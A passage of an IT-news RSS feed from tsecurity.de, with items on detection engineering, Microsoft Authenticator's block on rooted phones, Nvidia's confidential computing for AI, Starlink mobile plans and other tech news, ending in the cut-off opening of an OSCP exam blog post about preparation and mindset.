<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>Executive Role</strong></td><td><strong>Primary Responsibility in the Framework</strong></td><td><strong>Key Decisions and Governance Focus</strong></td></tr><tr><td>CIO</td><td>Owns the enterprise operating model and ensures CloudOps, FinOps and AIOps are aligned to business service outcomes.</td><td>Sets operating priorities, funds enabling platforms, establishes accountability, sponsors service reliability and cost transparency programs, and chairs cross-functional governance.</td></tr><tr><td>CTO</td><td>Defines the target architecture for autonomy, including cloud platforms, observability, automation, AI services and integration patterns.</td><td>Approves technical standards, automation design principles, platform engineering choices, model architecture strategy and engineering guardrails for scale and resilience.</td></tr><tr><td>Chief Privacy Officer</td><td>Ensures that data use in observability, automation and AI operations complies with privacy law and internal policy.</td><td>Defines controls for personal data handling, retention, consent boundaries, cross-border transfer considerations, prompt and log privacy, and privacy impact assessments.</td></tr><tr><td>Chief Data Officer</td><td>Leads data governance, data quality, metadata management and trustworthy access to the shared operational data layer.</td><td>Defines data classification, stewardship, lineage expectations, AI data usage standards and interoperability rules required for accurate autonomous decision-making.</td></tr><tr><td>Chief Strategy Officer</td><td>Connects the autonomy framework to enterprise transformation goals, investment priorities and measurable business value.</td><td>Shapes business case design, prioritizes value pools, aligns the framework with growth and efficiency strategy, and ensures operating metrics support executive decision-making.</td></tr></tbody></table> </div></figure>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Developing operational autonomy for an enterprise is not about chasing a futuristic ideal. It is about building a disciplined and connected operating model that helps the organization run technology with greater confidence, speed and accountability. CloudOps keeps the estate reliable, FinOps ensures that spending reflects value, AIOps makes complexity manageable and AI cost governance brings much-needed control to token-driven consumption. Security, privacy, compliance, process rigor and people capability are what make the framework sustainable. When all of these parts work together, the enterprise does not just automate tasks; it strengthens resilience, improves financial stewardship and creates a more adaptive path to operational excellence.</p>



<p><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="nofollow"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="nofollow"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Detection engineering: A programmatic approach to identifying cyber threats]]></title>
<description><![CDATA[Detection engineering, which was once a niche practice among mostly large companies, appears to have evolved into a capability that organizations across industries now consider essential to their security operations.



What is detection engineering?



Detection engineering is about creating and...]]></description>
<link>https://tsecurity.de/de/3637670/it-security-nachrichten/detection-engineering-a-programmatic-approach-to-identifying-cyber-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637670/it-security-nachrichten/detection-engineering-a-programmatic-approach-to-identifying-cyber-threats/</guid>
<pubDate>Wed, 01 Jul 2026 09:08:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Detection engineering, which was once a niche practice among mostly large companies, appears to have evolved into a capability that organizations across industries now consider essential to their security operations.</p>



<h2 class="wp-block-heading">What is detection engineering?</h2>



<p>Detection engineering is about creating and implementing systems to identify potential security threats within an organization’s specific technology environment without drowning in false alarms. It’s about writing smart rules that can tell when something potentially suspicious or malicious is happening in an organization’s networks or systems and making sure those alerts are useful. The process typically involves threat modeling, understanding attacker TTPs, writing, testing and validating detection rules, and adapting detections based on new threats and attack techniques.</p>



<p>A small <a href="https://www.anvilogic.com/report/2025-state-of-detection-engineering">survey</a> of 264 cybersecurity professionals by the SANS Institute and Anvilogic found that 80% of organizations — and 85% of large enterprises — are actively investing in detection engineering, with 60% now having dedicated teams. More than two-thirds (67%) reported strong leadership support for the practice within their organization.</p>



<p>The survey’s data suggested that many companies have not just merely adopted detection engineering practices but have made it a strategic focus of their cyber risk mitigation effort.  “Just a decade ago, detection engineering was a relatively unknown role in cybersecurity,” the report stated. “Now, it is emerging as one of the most critical roles in security operations.”</p>



<h2 class="wp-block-heading">More than the usual threat detection practices</h2>



<p>Proponents argue that detection engineering differs from traditional threat detection practices in approach, methodology, and integration with the development lifecycle. Threat detection processes are typically more reactive and rely on pre-built rules and signatures from vendors that offer limited customization for the organizations using them. In contrast, detection engineering applies software development principles to create and maintain custom detection logic for an organization’s specific environment and threat landscape. Rather than relying on static, generic rules and known IOCs, the goal with detection engineering is to develop tailored mechanisms for detecting threats as they would actually manifest in an organization’s specific environment.</p>



<p>Often this involves a stronger emphasis on behavior-based detections, the integration of threat intelligence to create detections aligned with real-world adversary tactics and the use of threat modeling to anticipate potential attack paths, says Heath Renfrow, CISO and co-founder of Fenix24 a cyber disaster recovery firm. “Unlike conventional threat detection, which often relies on static signatures and pre-built rules, detection engineering is behavior-driven, context-aware, and tailored to an organization’s unique threat landscape,” Renfrow says. “It involves a blend of security operations, threat intelligence, and data science to build more adaptive and resilient detection capabilities.”</p>



<p>The SANS-Anvilogic report describes detection engineering practices as evolving over the years from being over-reliant on vendor-specific consoles and proprietary languages to incorporate software development life cycle (SDLC) and continuous integration/continuous deployment (CI/CD) principles. This is enabling teams to test, deploy, and refine detections more efficiently while maintaining auditable trails of changes.</p>



<h2 class="wp-block-heading">Drivers of detection engineering’s adoption</h2>



<p>There are a couple of factors driving adoption of detection engineering practices. The biggest is the fact that out-of-the-box detections aren’t good enough. They don’t baseline the environment, they don’t drive down false positives and, troublingly, they don’t always alert on the things that matter, says Johnathon Miller, vice president of security operations at Lumifi Cyber.</p>



<p>Generic alerts that don’t account for organizational context have become a major problem and a contributor to false positive fatigue within many security teams. Sixty-four percent of organizations in Anvilogic’s survey for instance, reported high false positive rates; 61% struggled with detections that lacked environmental accuracy; and 34% said they had encountered delays in updates and improvements.</p>



<p>“Traditional threat detection methods historically have been static; if a=a, create an alert,” says Kevin Gonzalez, VP of security, operations and data, Anvilogic. “They are often rigid, black-box mechanisms that lack flexibility in customization. Though useful to some extent, these approaches become unmanageable at scale especially in organizations with hybrid environments,” he says.</p>



<p>Growing threat volumes and sophistication are another issue. Attackers are using more advanced and evasive techniques — including fileless malware, living off the land approaches, zero-day exploits and attacks via the software supply chain — rendering signature-based detection largely insufficient. Rising cloud adoption has introduced new vulnerabilities as well and created blind spots that legacy detection methods often struggle to cover. </p>



<p>The rise in advanced persistent threats (APTs), supply chain attacks, and ransomware operations has made traditional reactive approaches insufficient, Renfrow says. “Organizations now realize that proactive detection engineering reduces dwell time, improves response capabilities, and enhances overall cyber resilience. Additionally, compliance frameworks and cyber insurance providers are increasingly emphasizing strong detection strategies.”</p>



<h2 class="wp-block-heading">Industries adopting detection engineering</h2>



<p>Organizations in the banking and finance sector, the technology industry, cybersecurity companies and, to a lesser extent, healthcare companies are among the leading adopters of detection engineering practices. Many are in sectors that must deal with regulatory scrutiny or are frequent targets of sophisticated threat actors. But the reality is that most organizations, especially larger ones, can benefit from implementing a systematic approach to developing detection mechanisms for their specific threat profile.</p>



<p>Any large enterprise with a complex IT infrastructure can benefit from detection engineering. Security operations centers (SOCs) need to continuously improve and maximize their detection posture. “Along with the evolving threat landscape, their own internal IT infrastructures are constantly changing, which can result in detection ‘drift,’ where detection rules are broken and will no longer fire or alert,” CardinalOps CEO Michael Mumcuoglu says.</p>



<p>Security experts point out some key requirements for setting up a detection engineering capability. The biggest among them is data. To succeed, detection engineering teams need access to logs and security event data from endpoints, networks, cloud environments, and security tools and a centralized <a href="https://www.csoonline.com/article/524286/what-is-siem-security-information-and-event-management-explained.html">SIEM</a> or log management platform to aggregate and normalize the security data. An effective detection engineering capability also means having skilled personnel including detection engineers, analysts, and threat researchers, to develop and refine detection rules. Also important are formal processes for <a href="https://www.csoonline.com/article/569225/threat-modeling-explained-a-process-for-anticipating-cyber-attacks.html">threat modeling</a>, testing and integrating <a href="https://www.csoonline.com/article/3624136/stop-wasting-money-on-ineffective-threat-intelligence-5-mistakes-to-avoid.html">threat intelligence</a> with <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a>.</p>



<p>The goal should be to move beyond static signatures and focus on how attackers operate, by prioritizing behavior-based threat detection. Use frameworks like MITRE ATT&amp;CK to map detection coverage against known adversary techniques and utilize adversary emulation tools like Atomic Red Team to validate effectiveness, Renfrow says. “Detection engineering works best when security operations, threat intelligence, and IT teams work together,” Renfrow notes.</p>



<h2 class="wp-block-heading">How AI and automation can help</h2>



<p>AI/ML can play a key role in rule tuning and automation as well. Some 45% of the survey respondents described their organizations as using AI in their detection engineering programs for purposes like anomaly detection, rule generation and alert triage. Nearly nine in 10 (88%) believed AI would have a big impact on their detection engineering programs in the next three years. “One of [AI’s] strongest use cases is analyzing vast amounts of data to identify anomalies, particularly when utilizing a custom-trained language model,” says Glenn Thorpe, senior director of security research and detection engineering at GreyNoise Intelligence. “Depending on an organization’s threat model and risk tolerance, employing AI with a well-trained LLM can significantly enhance the effectiveness and efficiency of defenders within the organization.”</p>



<p>AI is not the only change. More organizations are also adopting automated processes for detection engineering. The areas that organizations are automating include mapping detection coverage to the MITRE ATT&amp;CK framework, identifying broken or misconfigured detections, and being able to operationalize threat intelligence and convert it into actionable detection rules, Mumcuoglu says. Ninety-three percent of Anvilogic’s survey respondents reported they are currently using or plan to use automation in their detection engineering workflow for rules development, tuning existing detections and threat hunting.</p>



<p>Thorpe cautions against organizations looking for some kind of one-size-fits-all approach to standing up a detection engineering capability. “Instead, a creative mindset, diversity of thoughts and experiences, and curiosity are vital for building an effective team.”</p>



<p>A good place to start is by identifying your organization’s core data and finding individuals who can analyze that data from multiple perspectives. Develop a realistic understanding of what you don’t know and begin to address those information gaps. “You might discover that small changes can significantly improve your visibility and understanding of network traffic,” Thorpe notes.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Authenticator Update Bans Rooted And Jailbroken Phones]]></title>
<description><![CDATA[People who change their phone settings for extra control will now face limits when signing into work or school systems. Microsoft recently updated its security app to spot unauthorized software changes. This update restricts access for anyone using a modified Apple or Android device. The block ap...]]></description>
<link>https://tsecurity.de/de/3637258/ios-mac-os/microsoft-authenticator-update-bans-rooted-and-jailbroken-phones/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637258/ios-mac-os/microsoft-authenticator-update-bans-rooted-and-jailbroken-phones/</guid>
<pubDate>Wed, 01 Jul 2026 04:23:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[People who change their phone settings for extra control will now face limits when signing into work or school systems. Microsoft recently updated its security app to spot unauthorized software changes. This update restricts access for anyone using a modified Apple or Android device. The block applies automatically without needing any setup from a local IT team. It specifically targets passwords used for business and education accounts.



The block only affects business and school sign-in accounts



The system leaves personal accounts completely untouched. If you just use the app for basic security codes on normal shopping sites, you are fine. The restriction only applies to Entra accounts, which handle logins for businesses and schools.



The update started rolling out early this year. Detection features arrived in February, and the iPhone version followed in April. Microsoft states that it expects full coverage by the middle of the year. The app usually starts by showing a warning message. After that, it blocks access and removes the work credentials from the device entirely.



Phones missing standard app services will also face login blocks



Users who never modified their phones might still run into trouble. The official support page explains that work accounts need Google Play Services to run normally. Devices from brands like Huawei often lack these services out of the box. Because of this, the app marks them as unsafe even if they are completely normal.



Privacy-focused operating systems face the same issue. A spokesperson for Microsoft confirmed that it does not officially support platforms like GrapheneOS. If you get locked out, your best option is to contact your IT support team. You may need to restore the phone to its normal factory settings or switch to a physical security key to get back into your account.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Gentoo? – Michał Górny]]></title>
<description><![CDATA[submitted by    /u/Commercial_Way_3816   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3637199/linux-tipps/why-gentoo-micha-grny/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637199/linux-tipps/why-gentoo-micha-grny/</guid>
<pubDate>Wed, 01 Jul 2026 03:38:55 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/Commercial_Way_3816"> /u/Commercial_Way_3816 </a> <br> <span><a href="https://blogs.gentoo.org/mgorny/2026/05/28/why-gentoo/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uk6wwz/why_gentoo_micha%C5%82_g%C3%B3rny/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Peacock Is Launching New Interactive Features For World Cup Fans Today]]></title>
<description><![CDATA[Geared toward fans who are streaming Spanish-language coverage, the features let you create your own brackets, watch alternate views and more.]]></description>
<link>https://tsecurity.de/de/3636782/it-nachrichten/peacock-is-launching-new-interactive-features-for-world-cup-fans-today/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636782/it-nachrichten/peacock-is-launching-new-interactive-features-for-world-cup-fans-today/</guid>
<pubDate>Tue, 30 Jun 2026 22:17:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Geared toward fans who are streaming Spanish-language coverage, the features let you create your own brackets, watch alternate views and more.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Starts Selling Refurbished iPhone 16e at $419 in the US]]></title>
<description><![CDATA[Apple has added the refurbished iPhone 16e to its online store in the United States, giving buyers a cheaper way to get the entry-level model after its original launch in February 2025. The refurbished iPhone 16e now starts at $419 for the 128GB model, which is $180 less than its original price.
...]]></description>
<link>https://tsecurity.de/de/3636670/ios-mac-os/apple-starts-selling-refurbished-iphone-16e-at-419-in-the-us/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636670/ios-mac-os/apple-starts-selling-refurbished-iphone-16e-at-419-in-the-us/</guid>
<pubDate>Tue, 30 Jun 2026 21:09:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has added the refurbished iPhone 16e to its online store in the United States, giving buyers a cheaper way to get the entry-level model after its original launch in February 2025. The refurbished iPhone 16e now starts at $419 for the 128GB model, which is $180 less than its original price.



Apple is also selling the 256GB model for $509 and the 512GB model for $679, with both black and white color options available. Since Apple retired the iPhone 16e after launching the iPhone 17e, buyers can no longer purchase it new from the company.



The refurbished iPhone 16e costs less than the iPhone 17e, but it also misses some newer features. It does not support MagSafe, uses the slower C1 modem instead of the C1X, starts with 128GB storage, runs on the older A18 chip, and uses the original Ceramic Shield glass.



Apple sells refurbished iPhones unlocked, so buyers can use them with any carrier. Each device gets a new battery, outer shell, and cable, along with cleaning, testing, a one-year warranty, and optional AppleCare+ coverage.]]></content:encoded>
</item>
<item>
<title><![CDATA[NIST Enrichment Reductions Impact CVE Coverage, Accuracy]]></title>
<description><![CDATA[The National Institute of Standards and Technology (NIST) scaled back on the number of CVEs it selects for in-depth analysis, but the move has produced mixed results, according to researchers.]]></description>
<link>https://tsecurity.de/de/3635508/it-security-nachrichten/nist-enrichment-reductions-impact-cve-coverage-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635508/it-security-nachrichten/nist-enrichment-reductions-impact-cve-coverage-accuracy/</guid>
<pubDate>Tue, 30 Jun 2026 14:07:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The National Institute of Standards and Technology (NIST) scaled back on the number of CVEs it selects for in-depth analysis, but the move has produced mixed results, according to researchers.]]></content:encoded>
</item>
<item>
<title><![CDATA[Starlink Plans to Cut Out Middlemen and Be Your Next iPhone Carrier]]></title>
<description><![CDATA[Elon Musk's space company is thinking about a major shift in how you get your mobile phone service. Instead of just helping out existing telecom giants behind the scenes, SpaceX wants to sell cell plans directly to the public. Leaked details from a recent presentation to investors suggest the sat...]]></description>
<link>https://tsecurity.de/de/3635480/ios-mac-os/starlink-plans-to-cut-out-middlemen-and-be-your-next-iphone-carrier/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635480/ios-mac-os/starlink-plans-to-cut-out-middlemen-and-be-your-next-iphone-carrier/</guid>
<pubDate>Tue, 30 Jun 2026 13:54:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Elon Musk's space company is thinking about a major shift in how you get your mobile phone service. Instead of just helping out existing telecom giants behind the scenes, SpaceX wants to sell cell plans directly to the public. Leaked details from a recent presentation to investors suggest the satellite maker is exploring ways to become a primary cellular provider for Apple devices, bypassing traditional networks entirely. If this plan takes shape, your next mobile contract might just come straight from the stars.



SpaceX considers selling phone plans directly to everyday mobile users



According to recent reports, SpaceX president Gwynne Shotwell told investors that the company is looking into a retail Starlink mobile product. Right now, Starlink works with carriers like T-Mobile to provide backup coverage in rural areas. The new plan would change that setup.



Instead of acting as a quiet partner, Starlink would sell access straight to you. This means it would compete directly against heavyweights like AT&amp;T, Verizon, and T-Mobile. By removing the middleman, the company hopes to secure a bigger share of the market and rely less on telecom partners to reach customers. For anyone holding an iPhone, this means you could eventually sign up for a Starlink mobile plan just like you would with any standard carrier.



The shift requires heavy funding to build a ground network



Moving from space-based broadband to a full retail mobile service is not a simple task. Analysts point out that Starlink will need to spend billions of dollars to build ground infrastructure and acquire the necessary radio wave spectrum.



The company is already making moves to gather these resources. Last fall, it spent nearly $17 billion to buy wireless spectrum licenses from EchoStar. This purchase gives it the basic tools needed to start building a true direct-to-consumer network. Still, experts warn that creating a complete mobile network from scratch is incredibly difficult. Even with a massive budget, it faces a long road to match the reliability of existing ground networks.



Whether SpaceX ends up launching a full ground network or uses this threat to negotiate better deals with current telecom partners, the mobile industry is clearly on notice. The company has already changed how the world gets home internet. If it applies that same blueprint to cellular service, the way we stay connected on the go is about to look very different.]]></content:encoded>
</item>
<item>
<title><![CDATA[Q&A: Nvidia exec on how ‘confidential computing’ can secure AI agents]]></title>
<description><![CDATA[There are a variety of security concerns about artificial intelligence (AI), especially when it comes to the behavior of agentic AI. But until recently, the concept of locking down the models to prevent tampering hasn’t gotten a lot of attention.



Now, a security technology called “confidential...]]></description>
<link>https://tsecurity.de/de/3635202/ai-nachrichten/qa-nvidia-exec-on-how-confidential-computing-can-secure-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635202/ai-nachrichten/qa-nvidia-exec-on-how-confidential-computing-can-secure-ai-agents/</guid>
<pubDate>Tue, 30 Jun 2026 12:18:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>There are a variety of security concerns about artificial intelligence (AI), especially when it comes to the behavior of <a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html" data-type="link" data-id="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">agentic AI</a>. But until recently, the concept of locking down the models to prevent tampering hasn’t gotten a lot of attention.</p>



<p>Now, a security technology called “confidential computing” has emerged that could help solve that problem: it protects AI models from hackers by restricting models to authorized users. (It also protects data wherever it is — in storage, when moving between systems, and when it is accessed.)</p>



<p>With many top cloud and hardware providers championing confidential computing for AI, <em>Computerworld</em> talked with Dion Harris, Nvidia’s senior director of high-performance computing and AI factory solutions, about what the technology does and how it works.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="722" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Dion Harris, Nvidia’s senior director of high-performance computing and AI factory solutions.</p>
</figcaption></figure><p class="imageCredit">Nvidia</p></div>



<p><strong>Why should organizations care about confidential computing now? </strong>“Seventy percent of data exists outside the cloud, in on-premise data centers and data lakes. To deliver AI on this data while maintaining security, you need confidential computing to unlock that use case for enterprise AI.”</p>



<p><strong>Why is confidential computing suddenly important in the AI age? </strong>“Enterprises want AI on sensitive data — customer records, medical information, financial data — without exposing it in cloud environments where they lose control.</p>



<p>“Traditional encryption protects data at rest and in transit, but not during computation. When you run an AI model, you must decrypt data. It sits in plain text in memory, accessible to administrators and cloud operators. Confidential computing creates a hardware-rooted trusted zone where data is decrypted only when computation needs it, then immediately re-encrypted.</p>



<p>“This lets enterprises get AI value without compromising security. Financial services, healthcare, government, and regulated industries are adopting it.”</p>



<p><strong>How is confidential computing changing with agentic AI? </strong>“We’ve gone from generative to agentic AI being deployed and used to solve real business problems. To deliver agentic capabilities with required privacy, security and performance in enterprise, confidential computing provides the unlock.</p>



<p>“We can spawn agents, access data, leverage tools and generate real useful work. With agentic AI, confidential computing helps in two ways: protecting the data and helping design implementation and workloads. It’s deployment, implementation, and use combined.”</p>



<p><strong>How does confidential computing work? “</strong>Encryption at rest protects stored data. Encryption in transit protects data moving over networks. Encryption in use is the problem — when you compute on data, you must decrypt it in memory. </p>



<p>“Confidential computing encrypts data in memory and between CPUs and GPUs. A dedicated element in the GPU decrypts information only when needed for computation, 100% inline, with minimal performance impact.”</p>



<p><strong>Can you walk through a real-world example? “</strong>Apple’s standard operating policy for years has been to keep private information on device to avoid having access to private data. However, to leverage advanced AI models, they no longer fit on the device. Apple instituted their Private Compute Cloud, and now they’re extending that to Google Cloud.</p>



<p>“Let me give a hypothetical and hopefully describe how it works. If you have a user who wants to upload a medical transcript from their doctor, their system creates a secure, attested environment. It sends a request to the server: validate yourself. That attestation says: ‘I am a Nvidia GPU. This environment is secure. It hasn’t been tampered with.’ Now, it’s okay for you to send your information over that secure line. Remote attestation allows the edge device to ensure it’s sending to a trusted environment.</p>



<p>“The medical data comes over encrypted and remains encrypted until it lands in the GPU memory. Specific compute engines in the processor decrypt that information only to use it. The LLM dissects and summarizes it. Then it re-encrypts and sends it back over the wire.</p>



<p>“They get the capabilities of data center AI mode — larger, more advanced, delivering more services. But they also get the security and privacy from Apple’s [Private Cloud Compute]  platform. It’s the best of both worlds: efficiencies and intelligence from data center AI with Apple’s PCC security.</p>



<p><strong>What prevented confidential computing adoption? “</strong>The main challenge in the past was significant performance impact. When you adopted confidential computing, you had to trade off performance for privacy. A 30% to 40% throughput reduction undermined the economic viability of the entire solution. If you sacrifice that much performance, it reduces the ability to get full utilization out of the hardware you’re deploying to deliver tokens or deliver a service in an economical fashion.”</p>



<p><strong>How was that solved? </strong>“With Blackwell and newer GPU architecture, you can deploy confidential computing without impact to performance. You get both privacy and performance, a win-win scenario.</p>



<p>“Performance now translates directly into economics. You get full utilization of the hardware, which matters for delivering tokens or services at scale. When we built Blackwell, we made confidential computing a first-class system feature to deliver not just the security, but also the performance the market requires.”</p>



<p><strong>Where is adoption accelerating? </strong>“Companies are thinking about the cloud. Model builders can’t expose APIs, enterprises customize for their business. Hybrid on-prem and cloud models — where builders deliver services behind enterprise walls — require zero trust. We’re no longer in fully owned infrastructure.</p>



<p>“By 2030, [billions of dollars] is expected in confidential computing use cases. It’s emerging as essential infrastructure for AI adoption across the industry. For organizations using cloud infrastructure, deploying AI on sensitive data, or operating under regulatory requirements, confidential computing is becoming essential.”</p>



<p><strong>What should organizations do? </strong>”The performance problem is solved. The technology is ready, ecosystems are built, partners enable it. If you want to deploy agentic AI on sensitive data, protect customer privacy, meet regulatory requirements, and maintain security across hybrid environments, you need confidential computing in your strategy.</p>



<p>“Most customers start with a developer license, validate performance and security, then migrate to a commercial license. Partners like Red Hat and Fortanix integrate these mechanisms within their platforms. Google Cloud offers it through their services.</p>



<p>“Start with a proof of concept. Validate it works. Plan deployment. Organizations gain competitive advantage securing AI on sensitive data.”</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Completing Compliance with Evidence : A Bottom-Up Approach to NIS2, DORA, and the Cyber Resilience Act]]></title>
<description><![CDATA[GRC (Governance, Risks and Compliance) as it is most often practiced works top-down, you read a piece of regulation, draft a policy, declare coverage, and archive a documentary record. This approach has value, it structures, it documents, it meets an auditor's formal expectations. It also has a k...]]></description>
<link>https://tsecurity.de/de/3635138/it-security-nachrichten/completing-compliance-with-evidence-a-bottom-up-approach-to-nis2-dora-and-the-cyber-resilience-act/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635138/it-security-nachrichten/completing-compliance-with-evidence-a-bottom-up-approach-to-nis2-dora-and-the-cyber-resilience-act/</guid>
<pubDate>Tue, 30 Jun 2026 12:08:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[GRC (Governance, Risks and Compliance) as it is most often practiced works top-down, you read a piece of regulation, draft a policy, declare coverage, and archive a documentary record. This approach has value, it structures, it documents, it meets an auditor's formal expectations. It also has a known limitation: it mostly reflects what the organization describes and far less easily what actually happens.]]></content:encoded>
</item>
<item>
<title><![CDATA[Brazil fans, there's no need to settle for ITV's low res coverage of World Cup 2026 – try Brazil vs Japan in glorious 4K instead, and with the commentary in Portuguese!]]></title>
<description><![CDATA[CazéTV offers all FIFA World Cup 2026 live streams in 4K UHD ,and with the commentary in Portuguese – perfect for any Brazil fans on their travels.]]></description>
<link>https://tsecurity.de/de/3633208/it-nachrichten/brazil-fans-theres-no-need-to-settle-for-itvs-low-res-coverage-of-world-cup-2026-try-brazil-vs-japan-in-glorious-4k-instead-and-with-the-commentary-in-portuguese/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633208/it-nachrichten/brazil-fans-theres-no-need-to-settle-for-itvs-low-res-coverage-of-world-cup-2026-try-brazil-vs-japan-in-glorious-4k-instead-and-with-the-commentary-in-portuguese/</guid>
<pubDate>Mon, 29 Jun 2026 16:47:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CazéTV offers all FIFA World Cup 2026 live streams in 4K UHD ,and with the commentary in Portuguese – perfect for any Brazil fans on their travels.]]></content:encoded>
</item>
<item>
<title><![CDATA[The OSCP Is a Mental Game]]></title>
<description><![CDATA[Yes, Another OSCP Blog Post. Bear With Me.Well, I got my OSCP a couple of weeks back and it was quite an experience. The last 3 months of preparation paid off and the main challenge wasn’t even the technical stuff. It was the mental ability to keep trying and not give up.I’ll touch on the prep ap...]]></description>
<link>https://tsecurity.de/de/3632621/hacking/the-oscp-is-a-mental-game/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632621/hacking/the-oscp-is-a-mental-game/</guid>
<pubDate>Mon, 29 Jun 2026 12:21:09 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Yes, Another OSCP Blog Post. Bear With Me.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e4ZZgeHTg0-k4ewQ4xiPLg.png"></figure><p>Well, I got my <strong>OSCP</strong> a couple of weeks back and it was quite an experience. The last 3 months of preparation paid off and the main challenge wasn’t even the technical stuff. It was the <strong>mental ability</strong> to keep trying and not give up.</p><p>I’ll touch on the <strong>prep approach and resources</strong>, but the main thing I want to talk about is your mental state during the 24 hours of the exam. There are literally an infinite number of blogs and walkthroughs out there covering how to prepare and which resources to use <em>(I looked at them and you will too)</em>, which is great, but I won’t bore you with more of the same.</p><p>Let’s get into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*dFCv7sEpNU2P4xKZ.gif"></figure><h3>Background</h3><p>Before we get into it, a bit of context on where I’m coming from.</p><p>I’m currently a graduate student in Cybersecurity with around 2 years of professional experience in AppSec and DevSecOps. Offensive security isn’t my forte and my background is on the defensive side but I’ve kept my hands dirty through HTB, THM, and occasional CTFs, which gave me a reasonable foundation going in.</p><p>Before attempting the OSCP, I also completed the PNPT certification, which I’d recommend as a stepping stone. It gave me a structured way to think about penetration testing methodology before diving into something more complicated. You can read more about that experience <a href="https://medium.com/bugbountywriteup/how-i-passed-the-pnpt-on-my-second-attempt-2026-review-and-tips-dcdd829cd591"><strong>here</strong></a>.</p><h3>Preparation</h3><h4>A. PEN-200 and Proving Grounds Practice</h4><p>My prep spanned around 3 months, split between the PEN-200 course material and Proving Grounds Practice machines. And no, I didn’t complete everything.</p><p>For the machines, I followed the <strong>OSCP LainKusanagi list with ratings</strong> rather than bouncing between multiple lists and resources. This is something I’d recommend: pick one list, commit to it, and resist the urge to constantly second-guess whether the grass is greener elsewhere. <strong>Chasing the perfect resource list</strong> is its own rabbit hole, and one you want to avoid before the exam even starts.</p><p>Did I finish every machine on the list? <strong>No.</strong></p><p>Managing a 3-month OSCP subscription alongside graduate studies doesn’t leave a lot of breathing room, and I had to align myself with that. If you’re coming in with little prior experience, seriously consider the 1-year subscription and go at your own pace.</p><p><strong>A few things that worked for me on the machines:</strong></p><ul><li><strong>Try it yourself first.</strong> Always. If you’re stuck for a meaningful amount of time, look up the writeup for only that specific step, not the whole box. Then put the writeup down and continue on your own.</li><li><strong>Keep notes on what worked and what didn’t.</strong> Not just commands that worked, but your weak areas, gaps in understanding, and things worth revisiting. I kept a simple running list of areas to improve on, an example of mine is below.</li></ul><figure><img alt="" 